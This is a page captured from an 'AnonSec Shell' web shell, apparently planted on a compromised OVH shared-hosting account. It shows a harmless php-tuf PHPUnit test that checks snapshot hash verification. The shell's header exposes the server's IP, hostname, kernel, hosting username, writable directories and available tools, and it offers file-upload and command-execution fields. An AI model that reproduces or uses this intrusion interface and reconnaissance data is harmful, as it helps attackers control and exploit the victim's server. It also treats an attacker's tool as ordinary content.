AnonSec Shell
Server IP : 46.105.57.169  /  Your IP : 216.73.216.144
Web Server : Apache
System : Linux webd003.cluster120.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : maitricfuz ( 93378)
PHP Version : 8.4.10
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/maitricfuz/www/maitric/libraries/vendor/php-tuf/php-tuf/tests/Client/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/maitricfuz/www/maitric/libraries/vendor/php-tuf/php-tuf/tests/Client/SnapshotHashesTest.php
<?php

namespace Tuf\Tests\Client;

use Prophecy\PhpUnit\ProphecyTrait;
use Tuf\Exception\MetadataException;
use Tuf\Metadata\TargetsMetadata;
use Tuf\Tests\ClientTestBase;

/**
 * Tests that hashes in the snapshot metadata are verified.
 */
class SnapshotHashesTest extends ClientTestBase
{
    use ProphecyTrait;

    /**
     * @testWith ["consistent"]
     *   ["inconsistent"]
     */
    public function testSnapshotHashes(string $fixtureVariant): void
    {
        $this->loadClientAndServerFilesFromFixture("Simple/$fixtureVariant");

        // Remove all client-side data except for the root metadata, so that we
        // can ensure it's all refereshed from the server.
        foreach (['timestamp', 'snapshot', 'targets'] as $name) {
            $this->clientStorage->delete($name);
        }

        $targetsMetadata = $this->prophesize(TargetsMetadata::class);
        $targetsMetadata->getRole()->willReturn('targets');
        $targetsMetadata->getSource()->willReturn('invalid data');
        $this->serverMetadata->targets['targets'][1] = $targetsMetadata->reveal();

        $this->expectException(MetadataException::class);
        $this->expectExceptionMessage("The 'targets' contents does not match hash 'sha256' specified in the 'snapshot' metadata.");
        $this->getUpdater()->refresh();
    }
}

Anon7 - 2022
AnonSec Team